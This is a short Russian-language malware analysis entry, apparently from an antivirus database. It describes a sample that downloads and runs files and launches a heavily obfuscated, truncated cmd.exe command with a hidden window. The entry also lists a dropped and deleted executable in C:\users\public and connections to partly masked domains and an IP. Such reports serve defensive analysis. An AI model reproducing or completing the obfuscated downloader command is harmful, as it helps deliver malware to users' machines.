Техническая информация
Вредоносные функции
Загружает файлы и запускает на исполнение.
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /V^:/C"s^e^t ^_^{=\^_/ -^_\ \^_- ^\/- \_^-^ ^-^\/ ^\/^-^ ^\_/^ ^-^_\ -_/ _^-/ ^_/\ ^-/_ ^_^-/^ ^_/-^ ^_/^- /^_\ /\^_^}^\^_/^}^\_/^{^\/-^h\_/c-/\t/\^-a/\-c/\^_^}/-_;\_/^k/^_^-^a/-_^e^-\/r\_/b^-/...
Изменения в файловой системе
Создает следующие файлы
- C:\users\public\503.exe
Удаляет следующие файлы
- C:\users\public\503.exe
Сетевая активность
Подключается к
- 'al########ntsandhospitality.co.uk':80
- '13#.#9.37.103':80
- 'ak###nline.com':80
UDP
- DNS ASK al########ntsandhospitality.co.uk
- DNS ASK ak###nline.com
- DNS ASK 1c##po.ru
- DNS ASK al####anacademy.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /V^:/C"s^e^t ^_^{=\^_/ -^_\ \^_- ^\/- \_^-^ ^-^\/ ^\/^-^ ^\_/^ ^-^_\ -_/ _^-/ ^_/\ ^-/_ ^_^-/^ ^_/-^ ^_/^- /^_\ /\^_^}^\^_/^}^\_/^{^\/-^h\_/c-/\t/\^-a/\-c/\^_^}/-_;\_/^k/^_^-^a/-_^e^-\/r\_/b^-/...' (со скрытым окном)
